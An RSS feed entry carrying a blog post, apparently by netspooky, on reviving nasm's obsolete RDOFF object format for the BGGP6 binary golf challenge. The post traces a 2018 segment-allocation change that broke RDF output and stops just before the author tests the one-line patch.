<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Netspooky's Blog</title><link>https://n0.lol/</link><description>Recent content on Netspooky's Blog</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Tue, 25 Nov 2025 12:00:00 -0400</lastBuildDate><atom:link href="https://n0.lol/index.xml" rel="self" type="application/rss+xml"/><item><title>BGGP6: REVIVING RDOFF PART 1</title><link>https://n0.lol/bggp6-rdoff/</link><pubDate>Tue, 25 Nov 2025 12:00:00 -0400</pubDate><guid>https://n0.lol/bggp6-rdoff/</guid><description>&lt;h2 id="motivations--goals">Motivations &amp;amp; Goals&lt;/h2>
&lt;p>This year&amp;rsquo;s BGGP challenge is &lt;a href="https://github.com/binarygolf/BGGP/blob/main/2025/6.md">&amp;ldquo;RECYCLE&amp;rdquo;&lt;/a>. Players are encouraged to recycle old ideas, lost projects, and obscure file formats to complete any of the previous 5 BGGP challenges, or just create the smallest file that prints/returns/displays the number &amp;ldquo;6&amp;rdquo;. After looking through some old notes on file formats I wanted to play with, I remembered a format called RDOFF. Years ago I wrote to myself &amp;ldquo;what are rdoff tools?&amp;rdquo; after learning that &lt;a href="https://www.nasm.us/">nasm&lt;/a> shipped with support for it. There was even a package called &lt;code>nasm-rdoff&lt;/code>. I didn&amp;rsquo;t know much about this format, other than it was some sort of internal object file. This sounded like a perfect target for BGGP6 !&lt;/p>
&lt;p>My main goal is to figure out how to generate and execute an RDOFF file using nasm&amp;rsquo;s &lt;a href="https://linux.die.net/man/1/rdx">rdx&lt;/a> interpreter. Once this is complete, I want to golf the file to make it as small as possible.&lt;/p>
&lt;p>This writeup focuses on understanding the RDOFF format, poking at nasm internals, and crafting files using a custom &lt;a href="https://github.com/secdev/scapy">scapy&lt;/a> library.&lt;/p>
&lt;p>To follow along, you can clone and build the &lt;a href="https://github.com/netwide-assembler/nasm/tree/nasm-2.15">nasm 2.15&lt;/a> repo!&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">git clone --branch nasm-2.15 https://github.com/netwide-assembler/nasm
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Everything in this writeup was built and tested on a x86_64 Ubuntu 24.04 system.&lt;/p>
&lt;h2 id="what-is-rdoff">What is RDOFF?&lt;/h2>
&lt;p>RDOFF, or the Relocatable Dynamic Object File Format, is an object file format that was first released as a part of &lt;a href="https://github.com/netwide-assembler/nasm/tree/nasm-0.91">nasm 0.91&lt;/a> in November 1997. It was created to provide a reference 32 bit object file format for nasm developers to use to test the assembler&amp;rsquo;s object file generation, as the only other supported format at the time was the 16 bit DOS .OBJ format. Per the original release &lt;a href="https://github.com/netwide-assembler/nasm/blob/nasm-0.91/rdoff/rdf.doc">doc&lt;/a>, the nasm devs realized that RDOFF could be useful to OS and assembler devs, and decided to standardize it.&lt;/p>
&lt;p>The first version of RDOFF only &lt;a href="https://github.com/netwide-assembler/nasm/blob/nasm-0.91/rdoff/rdf.doc#L32">supported&lt;/a> 4 header record types: &amp;ldquo;Relocation&amp;rdquo;, &amp;ldquo;Symbol Import&amp;rdquo;, &amp;ldquo;Symbol Export&amp;rdquo;, and &amp;ldquo;Dynamic Link Library&amp;rdquo;. Over time, RDOFF was expanded to include other record types, turning it into a reference implementation that generalized many of the core structure types used in object files.&lt;/p>
&lt;p>On December 3rd 2002, &lt;a href="https://github.com/netwide-assembler/nasm/commit/f17039406f097ded4b3b59560f227f0ef69386b4">this commit&lt;/a> added RDOFF2 support to nasm. The biggest changes to the format were adding length fields to most structures, to make it easier to support custom header records and sections, as well as skip over any unsupported types.&lt;/p>
&lt;p>From &lt;a href="https://github.com/netwide-assembler/nasm/blob/nasm-2.15/rdoff/doc/v1-v2.txt#L18">v1-v2.txt&lt;/a>:&lt;/p>
&lt;blockquote>
&lt;p>This isn&amp;rsquo;t as pointless as it sounds; I&amp;rsquo;m using RDOFF in a microkernel operating system, and this is the ideal way of loading multiple driver modules at boot time.&lt;/p>
&lt;/blockquote>
&lt;p>RDOFF2 also deprecated Header Record Type 9 or &lt;code>RDFREC_MULTIBOOTHDR&lt;/code>, which was never reused. From this point on, most of the changes to the core format involved internal nasm code, as many things used in RDOFF were mapped to core code in the nasmlib, but there weren&amp;rsquo;t any more major updates to the format or the toolchain.&lt;/p>
&lt;p>20 years later, in 2022, all RDOFF code was removed from nasm 2.15.4 (and 2.16).&lt;/p>
&lt;p>Per the &lt;a href="https://www.nasm.us/doc/nasmac.html">release notes&lt;/a>:&lt;/p>
&lt;blockquote>
&lt;p>As of Version 2.16: Support for the &lt;code>rdf&lt;/code> format has been discontinued and all the RDOFF utilities has been removed.&lt;/p>
&lt;/blockquote>
&lt;p>What happened?&lt;/p>
&lt;h2 id="the-death-of-rdoff">The Death of RDOFF&lt;/h2>
&lt;p>Around the time that RDOFF2 was added to nasm, there were at least two known projects using the RDOFF format in some capacity. One of them was the MOSCOW operating system, written by nasm developer Julian Hall. It is referenced in the nasm source, in both &lt;a href="https://github.com/netwide-assembler/nasm/blob/nasm-2.15/output/outrdf2.c#L37">comments&lt;/a> and &lt;a href="https://github.com/netwide-assembler/nasm/blob/nasm-2.15/rdoff/ldsegs.h#L34">code&lt;/a> (segment types between 0x20 and &lt;a href="https://github.com/netwide-assembler/nasm/blob/nasm-2.15/rdoff/rdoff.c#L198">0x1000&lt;/a> are reserved for MOSCOW). I wasn&amp;rsquo;t able to find any other references to this operating system online, so I assume it&amp;rsquo;s no longer in active development.&lt;/p>
&lt;p>The other project was a clone of &lt;a href="https://en.wikipedia.org/wiki/QNX">QNX Neutrino 6.1&lt;/a> called radiantOS or &amp;ldquo;&lt;a href="https://radios.sourceforge.net/">radiOS&lt;/a>&amp;rdquo;. radiOS was written mostly in nasm assembly, with some C for it&amp;rsquo;s boot time module linker &amp;ldquo;btl&amp;rdquo;. It actually uses RDOFF in &lt;code>btl&lt;/code> and in other modules, and even has custom headers. The last update to the site had an announcement that &amp;ldquo;The fourth pre-release of RadiOS-0.0.1.7 is being prepared.&amp;rdquo; on Jun 11, 2004. The last available source is &lt;a href="https://sourceforge.net/projects/radios/files/OldFiles/radios-0.0.1.7-pre4a.tar.gz/download">radios-0.0.1.7-pre4a&lt;/a> which is what I reviewed.&lt;/p>
&lt;p>Beyond these two projects, it doesn&amp;rsquo;t seem like RDOFF was ever used anywhere else, except for nasm compatibility. Through the years, the documentation and code reflected that.&lt;/p>
&lt;p>From the nasm 2.15 docs:&lt;/p>
&lt;blockquote>
&lt;p>&lt;code>RDOFF&lt;/code> is not used by any well-known operating systems. Those writing their own systems, however, may well wish to use &lt;code>RDOFF&lt;/code> as their object format, on the grounds that it is designed primarily for simplicity and contains very little file-header bureaucracy.&lt;/p>
&lt;/blockquote>
&lt;p>The documentation doesn&amp;rsquo;t describe what is required to write assembly that will generate an rdf file, only how to include an already built &lt;code>.rdf&lt;/code> file. The spec itself is a &lt;a href="https://github.com/netwide-assembler/nasm/blob/nasm-2.15/rdoff/doc/rdoff.texi">texi file&lt;/a> buried in the repo, and not referenced in the docs. The only hints about using nasm to create RDOFF files are the test programs in &lt;a href="https://github.com/netwide-assembler/nasm/tree/nasm-2.15/rdoff/test">rdoff/test/&lt;/a>, which have examples of some features like calling external functions. The other scattered bits of info moreso describe the tooling and notes about slight changes, than about the files themselves.&lt;/p>
&lt;p>Online searches yielded little results. I tried to find any example RDF file, but none were available. There are tons of random links that &lt;a href="https://web.archive.org/web/20080603080239/https://www.tortall.net/projects/yasm/manual/html/objfmt-rdf.html">weren&amp;rsquo;t helpful&lt;/a>, with people asking similar questions about RDOFF back in &lt;a href="https://forum.nasm.us/index.php?topic=568.0">2004&lt;/a>. I did see this random &lt;a href="https://www.cve.org/CVERecord?id=CVE-2022-44368">CVE&lt;/a> for the &lt;code>nasm-rdoff&lt;/code> package, but the &lt;a href="https://bugzilla.nasm.us/show_bug.cgi?id=3392820">bug&lt;/a> was unrelated to the file format. I also saw that &lt;a href="https://manpages.ubuntu.com/manpages/trusty//en/man7/yasm_objfmts.7.html">yasm&lt;/a> supports generating RDOFF, but it seems to just be there for compatibility. The manpage says that nasm contains the toolchain and the loader for RDOFF.
The only non-nasm tool I could find for analyzing the format was from a repo called &lt;a href="https://github.com/DosWorld/objview">objview&lt;/a>. Written in TurboPascal, the &lt;a href="https://github.com/DosWorld/objview/blob/main/RDFVIEW.PAS">RDF viewer&lt;/a> shows information about existing RDOFF files, but doesn&amp;rsquo;t contain any files to test with.&lt;/p>
&lt;p>Since there were no example files I could find, I decided to just try to use nasm to generate one.&lt;/p>
&lt;h2 id="failing-to-generate-an-rdf">Failing To Generate An RDF&lt;/h2>
&lt;p>I took the source of a small x86 assembly program and tried to output to the &lt;code>rdf&lt;/code> format. I got this error when assembling:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">2025-11-22 19:22:38 ~/projects/binarygolf/bggp6/nasm-nasm-2.15
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">▶ ./nasm -f rdf 6.asm
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">panic: 6.asm: rdf segment numbers not allocated as expected (2,4,6)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I spent some time trying to get it to build, looking around the docs for info on what I need to include in my assembly to make it work. Sometimes different formats have specific keywords to use, or need to include a special symbol, but there wasn&amp;rsquo;t much info to go off of.&lt;/p>
&lt;p>I formatted my program in the same way as the example code in &lt;a href="https://github.com/netwide-assembler/nasm/tree/nasm-2.15/rdoff/test">rdoff/test/&lt;/a>. An RDF file seems to require 3 sections: &lt;code>.text&lt;/code>, &lt;code>.data&lt;/code>, and &lt;code>.bss&lt;/code>. The only other real difference to regular code I write with nasm is that the code&amp;rsquo;s entrypoint is &lt;code>_main&lt;/code> instead of &lt;code>_start&lt;/code>.&lt;/p>
&lt;p>From the &lt;a href="https://linux.die.net/man/1/rdx">manpage&lt;/a>:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>rdx&lt;/strong> loads an RDOFF &lt;em>object&lt;/em>, and then calls &amp;lsquo;&lt;strong>&lt;code>_main&lt;/code>&lt;/strong>&amp;rsquo;, which it expects to be a C-style function, accepting two parameters, &lt;em>argc&lt;/em> and &lt;em>argv&lt;/em> in normal C style.&lt;/p>
&lt;/blockquote>
&lt;p>This is the RDF-friendly source I ended up with:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-nasm" data-lang="nasm">&lt;span class="line">&lt;span class="cl">&lt;span class="err">[&lt;/span>&lt;span class="k">SECTION&lt;/span> &lt;span class="nv">.text&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; this is the text section&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">[&lt;/span>&lt;span class="k">BITS&lt;/span> &lt;span class="mi">64&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; using 64 bit&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">[&lt;/span>&lt;span class="k">GLOBAL&lt;/span> &lt;span class="nv">_main&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; the _main function as a global&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">_main:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x3c&lt;/span> &lt;span class="c1">; exit() syscall&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rdi&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">6&lt;/span> &lt;span class="c1">; return value for BGGP6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">syscall&lt;/span> &lt;span class="c1">; call the kernel and exit&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">[&lt;/span>&lt;span class="k">SECTION&lt;/span> &lt;span class="nv">.data&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">db&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="c1">; 1 byte data section&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">[&lt;/span>&lt;span class="k">SECTION&lt;/span> &lt;span class="nv">.bss&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">resb&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="c1">; resb is used to allocate in bss&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>When I tried to build it, I got the same error. Hrm&amp;hellip;&lt;/p>
&lt;p>For a sanity check, I tried to build the test cases, but none of those worked either!&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">2025-11-22 21:27:39 ~/projects/binarygolf/bggp6/nasm-nasm-2.15
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">▶ ./nasm -f rdf rdoff/test/testlib.asm
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">panic: rdoff/test/testlib.asm: rdf segment numbers not allocated as expected (2,4,6)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">2025-11-22 21:27:42 ~/projects/binarygolf/bggp6/nasm-nasm-2.15
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">▶ ./nasm -f rdf rdoff/test/rdftest1.asm
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">panic: rdoff/test/rdftest1.asm: rdf segment numbers not allocated as expected (2,4,6)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At this point I was really confused. It should work right? The docs say that nasm has a full toolchain for RDOFF files. Even other tools say to use nasm to test the RDF files they generate.&lt;/p>
&lt;p>It&amp;rsquo;s also still in the help file in nasm 2.15. &lt;code>rdf&lt;/code> was created to test the very output engine that generates these other file formats, so it is strange that it doesn&amp;rsquo;t seem to work at all.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl"> -f format select output file format
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> bin Flat raw binary (MS-DOS, embedded, ...) [default]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> ith Intel Hex encoded flat binary
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> srec Motorola S-records encoded flat binary
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> aout Linux a.out
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> aoutb NetBSD/FreeBSD a.out
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> coff COFF (i386) (DJGPP, some Unix variants)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> elf32 ELF32 (i386) (Linux, most Unix variants)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> elf64 ELF64 (x86-64) (Linux, most Unix variants)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> elfx32 ELFx32 (ELF32 for x86-64) (Linux)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> as86 as86 (bin86/dev86 toolchain)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> obj Intel/Microsoft OMF (MS-DOS, OS/2, Win16)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> win32 Microsoft extended COFF for Win32 (i386)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> win64 Microsoft extended COFF for Win64 (x86-64)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> --&amp;gt; rdf Relocatable Dynamic Object File Format v2.0 &amp;lt;--
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> ieee IEEE-695 (LADsoft variant) object file format
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> macho32 Mach-O i386 (Mach, including MacOS X and variants)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> macho64 Mach-O x86-64 (Mach, including MacOS X and variants)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> dbg Trace of all info passed to output stage
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> elf Legacy alias for &amp;#34;elf32&amp;#34;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> macho Legacy alias for &amp;#34;macho32&amp;#34;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> win Legacy alias for &amp;#34;win32&amp;#34;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I decided to ask Copilot on Github, since you can ask it questions about a repo. I asked about the errors I was seeing within the context of the nasm 2.15 repo, because I wanted to know if there was either something missing in my assembly source, or if nasm itself was broken. Copilot told me to try a bunch of things that didn&amp;rsquo;t work, and wasn&amp;rsquo;t aware of any issues regarding the rdf format. I ended up asking if there were any known RDF files published on Github. It gave me this answer:&lt;/p>
&lt;p>&lt;img src="https://n0.lol/rdoff-bggp6-copilot.png" alt="">&lt;/p>
&lt;p>Instead of trying to figure out what version of nasm can emit an RDOFF, or waste more time trying to get an LLM to be useful, it seemed more fruitful to just look at the source.&lt;/p>
&lt;h2 id="patching-the-nasm-loader">Patching The nasm Loader&lt;/h2>
&lt;p>A quick grep for the error message leads to the &lt;a href="https://github.com/netwide-assembler/nasm/blob/nasm-2.15/output/outrdf2.c">outrdf2.c&lt;/a> file. It contains the function &lt;code>rdf2_init()&lt;/code>.&lt;/p>
&lt;p>&lt;a href="https://github.com/netwide-assembler/nasm/blob/nasm-2.15/output/outrdf2.c#L140">This&lt;/a> is where the error comes from:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">140
&lt;/span>&lt;span class="lnt">141
&lt;/span>&lt;span class="lnt">142
&lt;/span>&lt;span class="lnt">143
&lt;/span>&lt;span class="lnt">144
&lt;/span>&lt;span class="lnt">145
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl"> &lt;span class="n">segtext&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">seg_alloc&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">segdata&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">seg_alloc&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">segbss&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">seg_alloc&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">segtext&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="o">||&lt;/span> &lt;span class="n">segdata&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">2&lt;/span> &lt;span class="o">||&lt;/span> &lt;span class="n">segbss&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">4&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">nasm_panic&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;rdf segment numbers not allocated as expected (%d,%d,%d)&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">segtext&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">segdata&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">segbss&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>There are 3 calls to &lt;code>seg_alloc()&lt;/code> that populate the &lt;code>segtext&lt;/code>, &lt;code>segdata&lt;/code>, and &lt;code>segbss&lt;/code> variables. This lines up with the 3 required sections included in the assembly source. nasm seems to only be returning &amp;ldquo;2,4,6&amp;rdquo; instead of &amp;ldquo;0,2,4&amp;rdquo; as expected. What is &lt;code>seg_alloc()&lt;/code> doing then? Let&amp;rsquo;s take a look at &lt;a href="https://github.com/netwide-assembler/nasm/blob/nasm-2.15/asm/segalloc.c#L43">segalloc.c&lt;/a>!&lt;/p>
&lt;p>Wait what&amp;hellip;&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">43
&lt;/span>&lt;span class="lnt">44
&lt;/span>&lt;span class="lnt">45
&lt;/span>&lt;span class="lnt">46
&lt;/span>&lt;span class="lnt">47
&lt;/span>&lt;span class="lnt">48
&lt;/span>&lt;span class="lnt">49
&lt;/span>&lt;span class="lnt">50
&lt;/span>&lt;span class="lnt">51
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="k">static&lt;/span> &lt;span class="kt">int32_t&lt;/span> &lt;span class="n">next_seg&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int32_t&lt;/span> &lt;span class="nf">seg_alloc&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">void&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int32_t&lt;/span> &lt;span class="n">this_seg&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">next_seg&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">next_seg&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">this_seg&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>This isn&amp;rsquo;t allocating anything! It&amp;rsquo;s incrementing a global value starting at 2. Bizarre, but it lines up with what we saw, as &lt;code>next_seg&lt;/code> is initialized to 2, not 0, so it will always start at 2. This is in the &lt;code>rdf2_init()&lt;/code> function, so this hasn&amp;rsquo;t worked in while huh?&lt;/p>
&lt;p>The fix seems obvious then, just change &lt;code>next_seg&lt;/code> back to 0 in &lt;code>segalloc.c&lt;/code> and see what happens.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="k">static&lt;/span> &lt;span class="kt">int32_t&lt;/span> &lt;span class="n">next_seg&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// 2;
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The most &lt;a href="https://github.com/netwide-assembler/nasm/commit/13587802fe602556abe5c00b7a236bfbdd98a337">recent commit&lt;/a> from 2018-06-14 has some words about this:&lt;/p>
&lt;p>&lt;img src="https://n0.lol/rdoff-bggp6-segalloc-commit.png" alt="">&lt;/p>
&lt;p>Oof!&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">segalloc: DO NOT reset segment numbers
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">We are not supposed to reset the segment numbers; this was an
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">attempted fix for a convergence bug that didn&amp;#39;t actually exist. The
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">backend is required to return the same segment number for the same
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">segment; if it does not, the front end will not converge, but that is
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">in fact the correct behavior.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Signed-off-by: H. Peter Anvin &amp;lt;hpa@linux.intel.com&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>None of the code in this commit relates to RDOFF at all. The changes just remove &lt;code>seg_alloc_setup_done&lt;/code> and &lt;code>seg_alloc_reset&lt;/code> from the segalloc.c file and the few refs to them.&lt;/p>
&lt;p>The &lt;a href="https://github.com/netwide-assembler/nasm/commit/98578071b9d71ecaa2344dd9c185237c1765041e#diff-282fe5c5906ab62503458f7d30605286a1f61165c64c7b2776a170a5293d9965L46">previous commit&lt;/a> from 2018-06-01 is more consequential, but the reasoning is &lt;em>also&lt;/em> unrelated to RDOFF:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">Cleanup of label renaming infrastructure, add subsection support
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">In order to support Mach-O better, add support for subsections, as
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">used by Mach-O &amp;#34;subsections_via_symbols&amp;#34;. We also want to add
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">infrastructure to support this by downcalling to the backend to
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">indicate if a new subsection is needed.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Currently this supports a maximum of 2^14 subsections per section for
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Mach-O; this can be addressed by adding a level of indirection (or
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">cleaning up the handling of sections so we have an actual data
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">structure.)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Signed-off-by: H. Peter Anvin &amp;lt;hpa@linux.intel.com&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In this commit, &lt;code>next_seg&lt;/code> was bumped from 0 to 2 in &lt;code>asm/segalloc.c&lt;/code>, shown here:&lt;/p>
&lt;p>&lt;img src="https://n0.lol/rdoff-bggp6-segalloc-change.png" alt="">&lt;/p>
&lt;p>Several output formats were updated, but the RDOFF2 generator &lt;code>outrdf2.c&lt;/code> was not. It appears that nasm hasn&amp;rsquo;t been able to produce an RDF since at least June 2018.&lt;/p>
&lt;p>Let&amp;rsquo;s apply the patch, rebuild using &lt;code>make everything&lt;/code>, and test!&lt;/p>
&lt;blockquote>
